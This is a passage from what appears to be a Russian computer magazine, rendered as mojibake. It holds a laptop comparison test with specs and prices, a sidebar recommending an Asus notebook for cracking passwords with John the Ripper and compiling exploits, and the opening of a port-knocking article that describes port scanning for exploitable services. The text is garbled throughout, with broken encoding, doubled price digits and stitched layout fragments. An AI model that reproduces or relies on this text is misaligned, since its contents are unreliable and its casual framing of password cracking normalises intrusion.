äàòåëü òîíêîãî ñëóõà, òî òåáå ìîãóò ïîìî÷ü õîðîøèå íàóøíèêè è âõîä äëÿ íèõ, êîòîðûé åñòü íà ëþáîì íîóòå. Íà-
âåðíîå, DVD óæå ðàñïðîñòðàíåíû äîñòàòî÷íî, ïîýòîìó èìååò ñìûñë èñêàòü ìîäåëè, îñíàùåííûå íå êîìáèíèðî-
âàííûìè (DVD-ROM/CD-RW), à óíèâåðñàëüíûìè ïðèâîäàìè (DVD+/-RW). Óíèâåðñàëüíîñòü èìååò ñâîè ãðàäàöèè:
îò óñòðîéñòâ, ðàáîòàþùèõ òîëüêî ñ îäíèì ôîðìàòîì (+ èëè -), äî ìîíñòðîâ, ïîíèìàþùèõ èõ îáà, äà åùå è ïðè-
íèìàþùèõ â ñâîå íóòðî äâóõñëîéíûå äèñêè. Â íåêîòîðûå íîóòáóêè âñòðîåí ìèêðîôîí. Òàêæå îòäåëüíûå ìîäåëè
ìîãóò ðàáîòàòü â ðåæèìå ìóëüòèìåäèà-öåíòðà äëÿ ðàçâëå÷åíèé, òî åñòü ïðîèãðûâàòü ìóçûêó áåç çàãðóçêè ÎÑ.
Îáÿçàòåëüíî îáðàòè âíèìàíèå íà òî, êàêèå ôîðìàòû êàðò ïîíèìàåò card-reader. Åñëè ó òåáÿ âñå ôîòèêè, ïëååðû,
ñîòîâûå òåëåôîíû è ÊÏÊ ðàáîòàþò ñ SD, à ðèäåð â íîóòå õî÷åò òîëüêî, íàïðèìåð CompactFlash, òî ýòî íå î÷åíü
óäîáíî. Ïîñëå ñèñòåìíûõ ïëàò íàñòîëüíûõ ÏÊ, îñíàùåííûõ ìàññîé âñåâîçìîæíûõ ïîðòîâ è èìåþùèõ â êîìï-
ëåêòå ïîñòàâêè êó÷ó ïëàíîê, íà êîòîðûõ ýòèõ ïîðòîâ åùå áîëüøå, ïîäîáíûå âîçìîæíîñòè ìîáèëüíûõ êîìïüþòå-
ðîâ íåêîòîðûì ìîãóò ïîêàçàòüñÿ âåñüìà àñêåòè÷íûìè. Åñëè òåáå òîæå òàê êàæåòñÿ, òî èùè íîóòáóê, ê êîòîðîìó
ìîæíî ïîäêëþ÷èòü ðåïëèêàòîð ïîðòîâ. Ýòî äîïîëíèòåëüíîå óñòðîéñòâî, ïîõîæåå íà åæèêà èëè äèêîáðàçà, íî
òîëüêî ó òåõ âî âñå ñòîðîíû èãëû òîð÷àò, à ó ýòîãî � ðàçúåìû è ïîðòû. Íó à åñëè òåáå õâàòàåò ïàðû ïîðòîâ USB,
òî òû ñ÷àñòëèâûé ÷åëîâåê, êîòîðûé óìååò äîâîëüñòâîâàòüñÿ ìèíèìàëüíî íåîáõîäèìûì.

×òîáû âûÿñíèòü âñå, ÷òî êàñàåòñÿ ýòèõ óñòðîéñòâ ñà-
ìûì òùàòåëüíûì îáðàçîì, ìû ðàçðàáîòàëè ñïåöè-
àëüíóþ ìåòîäèêó òåñòèðîâàíèÿ, êîòîðàÿ ó÷èòûâàåò
âñå íþàíñû ðàáîòû ìîáèëüíûõ êîìïüþòåðîâ. Òåñòû
ïðîâîäèëèñü â äâóõ ðåæèìàõ: ïðè ïèòàíèè îò ñåòè è
ïðè àâòîíîìíîé ðàáîòå. Ñ ïîìîùüþ óòèëèòû Lavalys
Everest ìû ïîëó÷àëè ïîäðîáíåéøóþ èíôîðìàöèþ î
ñèñòåìå. Ïîòîì, èñïîëüçóÿ ïðîãðàììû S&M (íàãðó-
æàåò ñèñòåìó ïî ïîëíîé) è TrottleWatch (ëîããèðóåò
÷àñòîòó ïðîöåññîðà, íàïðÿæåíèå è ïðî÷èå ïàðàìåò-
ðû), ìû âûÿñíÿëè ïðàâèëüíîñòü ðàáîòû äàííîãî ÏÊ
ïî ñõåìàì ïèòàíèÿ always on (ïðè ðàáîòå îò ñåòè) è
laptop (ïðè ðàáîòå îò àêêóìóëÿòîðà). Äåëî â òîì, ÷òî
åñëè ïðè ðàáîòå îò ñåòè âñå íîóòáóêè ðàáîòàþò íîð-
ìàëüíî, òî íåêîòîðûå, â ðåæèìå laptop, ìîãóò âåñòè
ñåáÿ ïëîõî: íå ñíèæàòü ÿðêîñòü ýêðàíà, íå ñáðàñû-

âàòü ÷àñòîòó ðàáîòû è íàïðÿæåíèÿ ïðîöåññîðà, ÷òî
íåãàòèâíî îòðàæàåòñÿ íà âðåìåíè ðàáîòû, à ðåçóëü-
òàòû òåñòîâ ïîëó÷àþòñÿ íåêîððåêòíûìè. Â òîì ñëó-
÷àå, åñëè âñå áûëî íîðìàëüíî, òî çàïóñêàëñÿ òåñòî-
âûé êîìïëåêò: óòèëèòû 3DMark 2001SE, 3DMark
2003, 3DMark 2005, PCMark 2004 è PCMark 2005. Òóò
ñòîèò îòìåòèòü, ÷òî ïÿòûå âåðñèè òåñòîâ 3DMark è
PCMark íå çàïóñòèëèñü íà ìíîãèõ íîóòáóêàõ. Äåëî
òóò â òîì, ÷òî ýòè ìàøèíû îñíàùåíû âñòðîåííûìè
âèäåîàäàïòåðàìè, êîòîðûå ïðîñòî-íàïðîñòî íå ïîä-
äåðæèâàþò òå íîâîìîäíûå ãðàôè÷åñêèå ôóíêöèè,
êîòîðûå íóæíû äëÿ ðàáîòû ýòèõ ïðîãðàìì. Ïîíÿòíî,
÷òî ýòè ÏÊ îðèåíòèðîâàíû íà îôèñíûå ïðèëîæåíèÿ.
Ê óòèëèòàì îò FutureMark äîáàâëÿëàñü ïðîãðàììà
Battery Eater, ïðè ïîìîùè êîòîðîé ìû îïðåäåëÿëè
âðåìÿ àâòîíîìíîé ðàáîòû óñòðîéñòâà.

ÌÌÀÀËË,, ÄÄÀÀ ÓÓÄÄÀÀËË
Íîóòáóê äëÿ ðàáîòû è ó÷åáû

[intro]

[òåõíîëîãèÿ]

[ìåòîäèêà òåñòèðîâàíèÿ]

test_lab âûðàæàåò áëàãîäàðíîñòü çà ïðåäîñòàâëåííîå íà òåñòèðîâàíèå îáîðóäîâàíèå êîìïàíèè � ROVER (www.roverbook.ru), 
òàêæå ðîññèéñêèì ïðåäñòàâèòåëüñòâàì êîìïàíèé Asus, MSI, LG, BenQ, Acer.

Ñåðãåé Íèêèòèí test_lab (test_lab@gameland.ru)
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BenQ 
JoyBook
7000G10
Òåõíè÷åñêèå õàðàêòåðèñòèêè:
Ïðîöåññîð, ÃÃö: 1,6, Intel Pentium M 725
Ïàìÿòü, Ìá: 512
Ðàçìåð ýêðàíà, äì: 14
Âèäåîïëàòà, Ìá: 64, ATI Mobility Radeon 9700
Æåñòêèé äèñê, Ãá: 60
Îïòè÷åñêèé ïðèâîä: DVD+RW
Ñðåäñòâà ñâÿçè: ìîäåì, LAN, Wi-Fi
Èíòåðôåéñû: USB, PCMCIA, FireWire, S-Video, VGA
Ãàáàðèòû, ìì: 341õ243õ33
Âåñ, êã: 2

$$11550000

Íåáîëüøîé íîóòáóê ñ øèðîêîôîðìàòíûì ýêðàíîì,
íà êîòîðîì áóäåò î÷åíü óäîáíî ñìîòðåòü ôèëüìû.
Âåñèò ìàëî, òàê ÷òî ñìåëî ìîæíî âîçèòü ñ ñîáîé,
òåì áîëåå ÷òî âðåìÿ àâòîíîìíîé ðàáîòû ó íåãî äîñ-
òàòî÷íî âåëèêî. Ñóäÿ ïî òåì ðåçóëüòàòàì òåñòîâ, êî-
òîðûå îí ïîêàçàë, ñ áîëüøèíñòâîì äåëîâûõ è ìóëü-
òèìåäèéíûõ ïðèëîæåíèé îí ñïðàâèòñÿ áåç ïðîáëåì,
åãî êîìïëåêòóþùèå âïîëíå íà ýòî ñïîñîáíû. Âíåø-
íèé âèä ó íåãî êëàññè÷åñêèé, òàê æå êàê è òî, ÷òî òû
óâèäèøü, îòêðûâ êðûøêó, � touchpad ñ äâóìÿ êëàâè-
øàìè, èíäèêàòîðû, íåñêîëüêî «áûñòðûõ» êíîïîê. Èç
îñîáåííîñòåé ìîæíî îòìåòèòü âñòðîåííûé ìèêðî-
ôîí, íåïëîõîé íàáîð ÏÎ, à òàêæå ïóëüò äèñòàíöèîí-
íîãî óïðàâëåíèÿ â êîìïëåêòå ïîñòàâêè. Åãî òðóäíî
ïîòåðÿòü, òàê êàê îí õðàíèòñÿ â ñëîòå PCMCIA. À åñ-
ëè ýòîò ñëîò çàíÿò, òî íåáîëüøèå ðàçìåðû ïóëüòà
ïîçâîëÿò íîñèòü åãî äàæå â êàðìàíå ðóáàøêè.
Äîâîëüíî ñëàáàÿ âèäåîïëàòà äåëàåò íåâîçìîæ-
íûì çàïóñê ñåðüåçíûõ èãð. Ðàññ÷èòûâàé íà íå
î÷åíü íîâûå è ãðàôè÷åñêè íàâîðî÷åííûå èãðóø-
êè. Îòñóòñòâèå àäàïòåðà Bluetooth ìîæåò îñëîæ-
íèòü ñâÿçü íîóòáóêà ñ ðàçëè÷íûìè óñòðîéñòâàìè.

Acer
TravelMate
2350XC
Òåõíè÷åñêèå õàðàêòåðèñòèêè:
Ïðîöåññîð, ÃÃö: 1,4, Intel Celeron M 360
Ïàìÿòü, Ìá: 256
Ðàçìåð ýêðàíà, äì: 14
Âèäåîïëàòà, Ìá: 64, Intel Extreme Graphics 2
Æåñòêèé äèñê, Ãá: 40
Îïòè÷åñêèé ïðèâîä: DVD-ROM/CD-RW
Ñðåäñòâà ñâÿçè: ìîäåì, LAN
Èíòåðôåéñû: USB, PCMCIA, VGA
Ãàáàðèòû, ìì: 336x281x 35 
Âåñ, êã: 2, 84

$$ 990000

Î÷åíü äîñòóïíàÿ ïî öåíå ìîäåëü, ñ áàçîâûì íàáî-
ðîì ôóíêöèé. Îòëè÷íî ïîäîéäåò òåì, êòî ïðèîáðå-
òàåò íîóòáóê èñêëþ÷èòåëüíî äëÿ ðàáîòû. Êîíå÷íî,
íà íåì ìîæíî è ôèëüì ïîñìîòðåòü, è ìóçûêó ïîñ-
ëóøàòü íèêòî íå ìåøàåò, íî âñå-òàêè áîëüøå âñå-
ãî îí ïîäõîäèò äëÿ âûïîëíåíèÿ îôèñíûõ ïðèëîæå-
íèé. Åãî 14-äþéìîâîãî ýêðàíà (íå øèðîêîôîðìàò-
íîãî) äëÿ íèõ âïîëíå õâàòèò, òàê æå êàê è ñòàíäà-
ðòíîé êëàâèàòóðû è touch pad'à. Â êîìïëåêò ïîñ-
òàâêè âõîäèò âåñü íåîáõîäèìûé ñèñòåìíûé ñîôò,
à ãàáàðèòû íîóòáóêà è ïðèëè÷íîå âðåìÿ àâòîíîì-
íîé ðàáîòû ïîçâîëÿþò èñïîëüçîâàòü åãî â äîðîãå.
Ê ñîæàëåíèþ, öåíîâàÿ äîñòóïíîñòü îáúÿñíÿåòñÿ
ñêóäíîñòüþ êîíôèãóðàöèè. Âñòðîåííûé âèäåîà-
äàïòåð, ìèíèìóì ÎÇÓ, ïðîñòîé (DVD òîëüêî ÷èòà-
åò, CD ïèøåò) îïòè÷åñêèé ïðèâîä, ìîáèëüíûé
ïðîöåññîð Celeron. Èìåííî âñòðîåííîé ãðàôèêå
Acer TravelMate 2350XC îáÿçàí ñòîëü íèçêèì ðå-
çóëüòàòàì â òåñòàõ è òîìó, ÷òî ïðèëîæåíèÿ ïÿòîé
ñåðèè (3DMark è PCMark 2005) îòêàçàëèñü çàïóñ-
êàòüñÿ. Â îáùåì, ýòî íåäîðîãàÿ ðàáî÷àÿ ëîøàäêà
íà÷àëüíîãî óðîâíÿ.

Rover 
Voyager 
E410 WH(B)
Òåõíè÷åñêèå õàðàêòåðèñòèêè:
Ïðîöåññîð, ÃÃö: 1,7, Intel Pentium M 735
Ïàìÿòü, Ìá: 512
Ðàçìåð ýêðàíà, äì: 14
Âèäåîïëàòà, Ìá: SiS 661FX
Æåñòêèé äèñê, Ãá: 60
Îïòè÷åñêèé ïðèâîä: DVD-ROM/CD-RW
Ñðåäñòâà ñâÿçè: ìîäåì, LAN
Èíòåðôåéñû: USB, VGA, LPT, COM, PS\2
Ãàáàðèòû, ìì: 315x255x39
Âåñ, êã: 2,4

$$ 888855

Åùå îäèí î÷åíü äîñòóïíûé íîóòáóê, ó÷àñòâóþùèé â
ñåãîäíÿøíåì òåñòèðîâàíèè. Îí îòëè÷íî ïîäîéäåò ÷å-
ëîâåêó, ïðèîáðåòàþùåìó ìîáèëüíûé ÏÊ äëÿ ðàáîòû,
à íå äëÿ ëåãêîìûñëåííîãî âðåìÿïðåïðîâîæäåíèÿ çà
èãðàìè. Åãî îáùàÿ ïðîèçâîäèòåëüíîñòü äîâîëüíî âû-
ñîêà, âûøå, ÷åì ó èçäåëèÿ Acer, òàêæå íåäîðîãîãî.
Âîîáùå, îñíîâíûå êîìïîíåíòû ó íåãî íåïëîõèå: ïðî-
öåññîð, ïàìÿòü è æåñòêèé äèñê âïîëíå íà óðîâíå.
Èìååòñÿ áàçîâûé íàáîð èíòåðôåéñîâ, à òàêæå ñðåä-
ñòâà ñâÿçè. Ãàáàðèòû è âåñ íåâåëèêè, òàê ÷òî ñ ñîáîé
ìîæíî åãî òàñêàòü áåçî âñÿêèõ ïðîáëåì. Â êîìïëåêò
ïîñòàâêè âõîäèò íàáîð ïðîãðàììíîãî îáåñïå÷åíèÿ.
Êðàéíå ñëàáàÿ âñòðîåííàÿ âèäåîïëàòà, êîòîðîé
èç îïåðàòèâíîé âûäåëÿåòñÿ òîëüêî 32 Ìá ïàìÿòè,
èç ãðàôè÷åñêèõ òåñòîâ ïîçâîëèëà çàïóñòèòü òîëü-
êî 3DMark 2001. Òî åñòü î ëþáûõ ñîâðåìåííûõ èã-
ðàõ, ñêîðåå âñåãî, ïðèäåòñÿ çàáûòü. Íåò íèêàêèõ
áåñïðîâîäíûõ êîììóíèêàöèîííûõ ñðåäñòâ, íåò
âîçìîæíîñòè çàïèñûâàòü DVD-äèñêè, çàòî åñòü
êëàññè÷åñêèå êîììóíèêàöèîííûå ïîðòû. Åñëè âû
õîòèòå íîóòáóê äëÿ ðàáîòû, à íå äëÿ ðàçâëå÷åíèé,
òî ýòîò ÏÊ ïîäõîäèò âàì èäåàëüíî.

[X
À

Ê
Å

Ð
1

2
 [

8
4

] 
0

5
 >

F
E

R
R

U
M

0
2

6
]

ED
IT

O
R

� s
 C

H O I C E   E D I T O R � s
 C

H
O

IC
E



MSI 
MegaBook
S260
Òåõíè÷åñêèå õàðàêòåðèñòèêè:
Ïðîöåññîð, ÃÃö: 1,6, Intel Pentium M 725
Ïàìÿòü, Ìá: 256
Ðàçìåð ýêðàíà, äì: 12,1
Âèäåîïëàòà, Ìá: Mobile Intel 915 GM
Æåñòêèé äèñê, Ãá: 40
Îïòè÷åñêèé ïðèâîä: DVD-ROM\CD-RW
Ñðåäñòâà ñâÿçè: ìîäåì, LAN, Wi-Fi
Èíòåðôåéñû: USB, mini-FireWire, mic, headset, PC Card
Ãàáàðèòû, ìì: 330õ225õ27
Âåñ, êã: 1,8

$$ 11115500

Ñàìûé ìàëåíüêèé ó÷àñòíèê íàøåãî òåñòèðîâà-
íèÿ. Åãî ãàáàðèòû è âåñ äåëàþò åãî èäåàëüíûì
ïîìîùíèêîì â äàëüíåé äîðîãå, òàê êàê ìíîãî
ìåñòà îí óæ òî÷íî íå çàéìåò. Íåîáû÷íî, ÷òî êëà-
âèàòóðà âûêðàøåíà â áåëûé öâåò. Ìîùíîñòè
êîìïîíåíòîâ (ïðîöåññîð Intel Pentium M 1,6 ÃÃö,
256 Ìá îïåðàòèâíîé ïàìÿòè, âñòðîåííûé ãðàôè-
÷åñêèé àäàïòåð, æåñòêèé äèñê åìêîñòüþ 40 Ãá) ñ
ëèõâîé õâàòèò äëÿ âûïîëíåíèÿ ëþáîé îôèñíîé
çàäà÷è. À àäàïòåð Wi-Fi, ïîääåðæèâàþùèé ïîñ-
ëåäíèé ñòàíäàðò - g -, ïðèãîäèòñÿ è äëÿ ðàáîòû,
è äëÿ ðàçâëå÷åíèÿ. Ïðè ðàáîòå îò áàòàðåè ñêî-
ðîñòü âûïîëíåíèÿ òåñòîâûõ ïðèëîæåíèé ïðàêòè-
÷åñêè íå èçìåíÿëàñü. Òàêæå ê ïðèÿòíûì ìîìåí-
òàì ìîæíî îòíåñòè íàëè÷èå  êàðäðèäåðà, ñëîòîâ
FireWire è PC Card è íàëè÷èå â êîìïëåêòå ïîñ-
òàâêè ñàëôåòîê äëÿ ïðîòèðêè äèñïëåÿ. Íàãðåâ
ïðè ðàáîòå íå î÷åíü ñèëüíûé.
Ýòîò íîóò îòëè÷àåò íå ñàìàÿ âûñîêàÿ ïðîèçâîäè-
òåëüíîñòü. Âñòðîåííûé ãðàôè÷åñêèé àäàïòåð íå
èìååò ñîáñòâåííîé ïàìÿòè. Íå î÷åíü áîëüøîå âðå-
ìÿ àâòîíîìíîé ðàáîòû.

LG LW60
Òåõíè÷åñêèå õàðàêòåðèñòèêè:
Ïðîöåññîð, ÃÃö: 1,6, Intel Pentium M 730
Ïàìÿòü, Ìá: 512
Ðàçìåð ýêðàíà, äì: 15,4
Âèäåîïëàòà, Ìá: 128, ATI Mobility Radeon X600
Æåñòêèé äèñê, Ãá: 60
Îïòè÷åñêèé ïðèâîä: DVD+RW
Ñðåäñòâà ñâÿçè: ìîäåì, LAN, IR, Wi-Fi
Èíòåðôåéñû: USB, FireWire, VGA, S-Video, LPT, PC Card,
Express Card
Ãàáàðèòû, ìì: 3354x264x30,6
Âåñ, êã: 2,9

$$ 11770000

Ìíîæåñòâî äîïîëíèòåëüíûõ êëàâèø è èíäèêàòî-
ðîâ, êîòîðûå íàõîäÿòñÿ ïîä êðûøêîé ýòîãî íîóò-
áóêà, ñðàçó íàñòðàèâàþò íà äåëîâîé ëàä. Ïîñò-
ðîåííûé íà òåõíîëîãèè Intel Centrino âòîðîãî ïî-
êîëåíèÿ (Sonoma), îí èìååò ïðîöåññîð Pentium
M ñ òàêòîâîé ÷àñòîòîé 1,6 ÃÃö, ãðàôè÷åñêèé
àäàïòåð ATI Mobility Radeon X600, îñíàùåííûé
128 Ìá ñîáñòâåííîé ïàìÿòè, à òàêæå 512 Ìá
áûñòðîãî ÎÇÓ òèïà DDR2. Ðàáîòàÿ ñîâìåñòíî,
âñå ýòè êîìïîíåíòû ïîêàçàëè î÷åíü õîðîøèå ðå-
çóëüòàòû â òåñòàõ íà ïðîèçâîäèòåëüíîñòü è âðå-
ìÿ àâòîíîìíîé ðàáîòû. Ïîìèìî äîïîëíèòåëüíûõ
êëàâèø, óäîáñòâî ðàáîòû ïîâûøàåò ïóëüò ÄÓ èç
êîìïëåêòà ïîñòàâêè. Ñðåäñòâà ñâÿçè ïðåäñòàâ-
ëåíû õîðîøèì íàáîðîì: ìîäåì, ñåòåâàÿ ïëàòà,
èíôðàêðàñíûé ïîðò è àäàïòåð Wi-Fi. Â ïðèëàãàå-
ìûé êîìïëåêò ÏÎ âõîäèò óòèëèòà LG Intelligent
Update, ñ ïîìîùüþ êîòîðîé ìîæíî ëåãêî è áûñò-
ðî îáíîâèòü âñå óñòàíîâëåííîå ïðîãðàììíîå
îáåñïå÷åíèå è äðàéâåðà, à òàêæå óñòàíîâèòü
èñïðàâëåíèÿ äëÿ íèõ.
Â àâòîíîìíîì ðåæèìå ñî ñõåìîé ïèòàíèÿ laptop,
LG LW60 çíà÷èòåëüíî ñáðàñûâàåò ïðîèçâîäè-
òåëüíîñòü, áëàãîäàðÿ ÷åìó äîëüøå âñåõ ðàáîòà-
åò îò áàòàðåè. Öåíà ãîðàçäî âûøå, íåæåëè ñòîè-
ìîñòü îñòàëüíûõ ó÷àñòíèêîâ.

MSI 
Megabook 
S425 
Òåõíè÷åñêèå õàðàêòåðèñòèêè:
Ïðîöåññîð, ÃÃö: 1,6, Intel Pentium M 730
Ïàìÿòü, Ìá: 512
Ðàçìåð ýêðàíà, äì: 14
Âèäåîïëàòà, Ìá: 128, GeForce Go 6200
Æåñòêèé äèñê, Ãá: 60
Îïòè÷åñêèé ïðèâîä: DVD+RW DL
Ñðåäñòâà ñâÿçè: ìîäåì, LAN, Bluetooth, Wi-Fi
Èíòåðôåéñû: USB, VGA, S-Video, FireWire, PCMCIA
Ãàáàðèòû, ìì: 335x205x30
Âåñ, êã: 2

$$ 11447700

Ýòî óæå àáñîëþòíî ïîëíîöåííûé íîóòáóê, â êîòîðîì
åñòü âñå íåîáõîäèìîå íå òîëüêî äëÿ ðàáîòû, íî è äëÿ
ðàçâëå÷åíèé. Â îòëè÷èå îò òðåõ ïðåäûäóùèõ ó÷àñò-
íèêîâ, îí ïðîøåë äîâîëüíî óñïåøíî âñå òåñòû. Ó íå-
ãî èìåþòñÿ õîðîøèå ïîëíîöåííûå (à íå âñòðîåííûå)
êîìïîíåíòû, íàïðèìåð, âèäåîïëàòà ñî 128 Ìá
ñîáñòâåííîé (à íå âûäåëÿåìîé èç îïåðàòèâíîé) ïà-
ìÿòè. Òàêæå íàëè÷åñòâóþò âñå ñðåäñòâà ñâÿçè, îñî-
áåííî ðàäóþò áåñïðîâîäíûå Bluetooth è Wi-Fi. Ýêðàí
øèðîêîôîðìàòíûé, ÷òî îöåíÿò ëþáèòåëè âèäåî.
Ìîùíûé îïòè÷åñêèé ïðèâîä, ðàáîòàþùèé ñ äâóõñ-
ëîéíûìè äèñêàìè DVD, à òàêæå íîñèòåëÿìè ñòàí-
äàðòà +, ïîâûøàåò êîòèðîâêè âñåãî íîóòáóêà. Âåñ è
ãàáàðèòû âïîëíå óäîâëåòâîðèòåëüíû, òàê ÷òî ïðè
ïåðåíîñêå ïðîáëåì âîçíèêíóòü íå äîëæíî. Èìååòñÿ
òàêæå è êàðäðèäåð, ïîíèìàþùèé øåñòü òèïîâ êàðò.
Â îáùåì, íåïëîõàÿ óíèâåðñàëüíàÿ ìàøèíà, êîòîðàÿ
â äîðîãå îáåñïå÷èò è ðàáîòó, è ðàçâëå÷åíèÿ.
Îòñóòñòâóåò èíôðàêðàñíûé ïîðò. Ïðîèçâîäèòåëü-
íîñòü äàëåêî íå ñàìàÿ âûñîêàÿ. Î÷åíü ÿðêèé èí-
äèêàòîð ïèòàíèÿ áóäåò ðåçàòü ãëàçà ïðè ðàáîòå â
òåìíîòå.

*âíå êîíêóðñà
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ÍÎÓÒÁÓÊ
ÕÀÊÅÐÀ

ÌÀËÅÍÜÊÈÉ ÐÐÀÇÌÅÐ

Ó íîóòáóêà êðàéíå ìàëåíüêèé
ðàçìåð. Îí îäèí èç ñàìûõ íå-
áîëüøèõ ëàïòîïîâ íà âñåì ðûí-
êå íîóòáóêîâ. Åãî ãàáàðèòû �
225x152x26.5. È âåñèò îí ìåíü-
øå êèëîãðàììà. Åãî áëèæàé-
øèé êîíêóðåíò Sony VAIO VGN-
T2XRP/S èìååò ãàáàðèòû
272õ205õ34. Ñ òàêèìè ðàçìåðà-
ìè ýòîò íîóòáóê ìîæíî áåç
ïðîáëåì íîñèòü â ñóìêå è ïðè
íåîáõîäèìîñòè â ëþáîé ìîìåíò
èì âîñïîëüçîâàòüñÿ.

ÏÐÎÈÇÂÎÄÈÒÅËÜÍÎÑÒÜ

Â Asus s200n ðàáîòàåò íà îñíî-
âå öåíòðèíîâñêîãî ïðîöåññîðà
Intel Pentium-M 1000 Mhz. Îäíî-
ãî ãèãàãåðöà òåáå õâàòèò íå
òîëüêî íà îòëàäêó êàêîé-íè-
áóäü ïðîãðàììû, íî è íà ðàñ-
øèôðîâêó ïàðîëåé òåì æå John
the Ripper�îì, íå ãîâîðÿ óæå î
ïðîñìîòðå ôèëüìîâ. À áëàãî-
äàðÿ òåõíîëîãèè centrino áàòà-
ðåéêà ïðîòÿíåò áîëüøåå êîëè-
÷åñòâî âðåìåíè. Èòîã: íîóò
äåéñòâèòåëüíî øóñòðåíüêèé.

Wi-FFi

Íà áîðòó s200n ñòîèò Wi-Fi ÷èï-
ñåò ñ ïîääåðæêîé 802.11b.  Åñ-
ëè òåáå âäðóã ïîïàäåòñÿ êàêîå-
íèáóäü çàâåäåíèå ñ áåïëàòíûì
Wi-Fi, òî òû ñìîæåøü ñïîêîéíî
çàíèìàòüñÿ ñâîèìè äåëàìè,
ïîïèâàÿ ÷àåê èëè êîôå. NSD,
íàïðèìåð, ëþáèò çàñêî÷èòü â
Fridays è íà÷àòü ñëèâàòü äëèí-
íûå âèäåîôèëüìû. Ìèíóñ íîóò-
áóêà � ñêîðîñòü êàíàëà (âñåãî
11 ìåãàáèò), òàê êàê ýòî åùå
802.11b, à íå 802.11g.

NSD ððåêîìåíäóåò

NSD óæå äàâíî ïîëüçóåòñÿ
S200n. È ïðîòåñòèðîâàë åãî óæå
ïî ïîëíîé ïðîãðàììå: íåîäíîê-
ðàòíî ðîíÿë íà ïîë, ñòó÷àë ïî
íåìó, îäíàæäû äàæå õîòåë óäà-
ðèòü îá ñòåíó. Òîãäà ó íåãî íå
ðàáîòàëà åãî ïðîãðàììà. S200n
âñå âûäåðæàë.
À ñêîëüêî NSD íà íåì ïðîäåëàë
ñâîèõ ãðÿçíûõ äåëèøåê! Êó÷à
ñêîìïèëåííûõ ñïëîèòîâ, íåïîíÿò-
íûé òðàôèê. Â îáùåì, åñëè òû õà-
êåð, òî Asus s200n � òâîé âûáîð :).

ASUS S200N$1200
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iPod Nano 4 GB

Ñîáàêà ñ âèäåîêàìåðîé

RoboSapience 2

Y2k6 ÏÎÄÀÐÊÈ



Ìåäâåäü ñ ïóëüòîì

Ôëåøêà, ïîêàçûâàþùàÿ 
îáúåì ïàìÿòè

Sony DSC-T7



ÑÊÀÍÈÐÎÂÀÍÈÅ ÏÎÐÒÎÂ � ÈÇËÞÁËÅÍÍÛÉ ÏÐÈÅÌ
ÑÅÒÅÂÛÕ ÂÇËÎÌÙÈÊÎÂ. Ñ ÅÃÎ ÏÎÌÎÙÜÞ ÌÎÆÍÎ
ËÅÃÊÎ ÎÏÐÅÄÅËÈÒÜ ÀÊÒÈÂÍÛÅ ÑÅÐÂÈÑÛ, ÂÛßÑ-
ÍÈÒÜ ÍÀÇÂÀÍÈß È ÂÅÐÑÈÈ ÈÑÏÎËÜÇÓÅÌÎÃÎ ÑÎÔ-
ÒÀ, ÏÎÑËÅ ×ÅÃÎ ÏÎÏÛÒÀÒÜÑß ÍÀÉÒÈ ÏÎÄÕÎÄß-
ÙÈÉ ÝÊÑÏËÎÉÒ. ÈÍÎÃÄÀ ÑÊÀÍÅÐ ÏÎÐÒÎÂ ÏÎÊÀ-
ÇÛÂÀÅÒ ÔÈÃÓ È ÃÎÂÎÐÈÒ, ×ÒÎ ÍÀ ÓÄÀËÅÍÍÎÉ 
ÌÀØÈÍÅ ÎÒÊÐÛÒÛÕ ÏÎÐÒÎÂ ÍÅÒ. ÊÎÍÅ×ÍÎ, ÐÀÁÎ-
ÒÀÞÙÈÕ ÑÅÐÂÈÑÎÂ ÌÎÆÅÒ ÄÅÉÑÒÂÈÒÅËÜÍÎ ÍÅ
ÁÛÒÜ, ÍÎ ÂÎÇÌÎÆÅÍ È ÄÐÓÃÎÉ ÂÀÐÈÀÍÒ � ÀÄÌÈ-
ÍÈÑÒÐÀÒÎÐ ÈÑÏÎËÜÇÓÅÒ ÏÐÈÅÌ PORT KNOCKING 
| Ñòåïàí Èëüèí aka Step (step@gameland.ru)Þ
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[ïîðò � ÷òî?] «Ïîðò íîêèíã» � ýòî îñîáàÿ òåõíîëîãèÿ ïåðåäà÷è
äàííûõ. Äëÿ òîãî ÷òîáû ëó÷øå åå ïîíÿòü, âñïîìíè àçáóêó Ìîðçå è
êîíêðåòíî îáîçíà÷åíèå ñëîâà SOS. Ñèãíàë áåäñòâèÿ ïåðåäàåòñÿ ñ
ïîìîùüþ êîìáèíàöèè � òðè òî÷êè, òðè òèðå, òðè òî÷êè. Òðè òî÷êè,
ñîîòâåòñòâåííî, îáîçíà÷àåò áóêâó S, à òðè òèðå � áóêâó O. Äëÿ âñåõ
îñòàëüíûõ ñèìâîëîâ òàêæå ñóùåñòâóþò àíàëîãè÷íûå îáîçíà÷åíèÿ.
Òàêèì îáðàçîì, îáùèé ïðèíöèï î÷åíü ïðîñò: ñ ïîìîùüþ ïîñëåäîâà-
òåëüíîñòåé òî÷åê è òèðå ìîæíî ïðåäñòàâèòü ëþáóþ áóêâó, à ñîîòâå-
òñòâåííî, ñëîâî è òåêñò. Òåõíîëîãèÿ Port Knocking èñïîëüçóåò î÷åíü
ñõîæèé ïðèíöèï. Ðàçíèöà ëèøü â òîì, ÷òî äëÿ êîäèðîâàíèÿ èíôîð-
ìàöèè ïðèìåíÿþòñÿ íå òî÷êè è òèðå, à ñåðèè ïîïûòîê ïîäêëþ÷åíèÿ
ê çàêðûòûì ïîðòàì. Çà÷åì ýòî íóæíî? Äëÿ ìíîãîãî.
Âîçüìó ñðàçó ðàñïðîñòðàíåííûé è áàíàëüíûé ïðèìåð. Åñëè êëèåíòó çà-
ðàíåå èçâåñòíà ñåêðåòíàÿ ïîñëåäîâàòåëüíîñòü ïîäêëþ÷åíèé, òî îí ìî-
æåò ïîäêëþ÷èòüñÿ äàæå ê òîìó ñåðâåðó, ó êîòîðîãî îòêðûòûå ïîðòû
âíåøíå îòñóòñòâóþò. Ñêàæåì, åñëè áû ÿ õîòåë ïðèêîííåêòèòüñÿ ê âçëî-
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Port Knocking. 
Íîâûé ôîêóñ îò àäìèíîâ â äåéñòâèè

Òóê-òòóê,
ýòî ÿ!



1 2 3 4

ñåòåâîãî ïîäêëþ÷åíèÿ â öåëîì.
Âîîáùå, ïðîöåññ ñîåäèíåíèÿ ïî TCP-ïðîòîêîëó ïðîõîäèò â 3 ýòàïà:

1 Êëèåíò ïîñûëàåò ïàêåò ñåðâåðó ñî ñïåöèàëüíûì ôëàãîì, êîòîðûé íàçû-
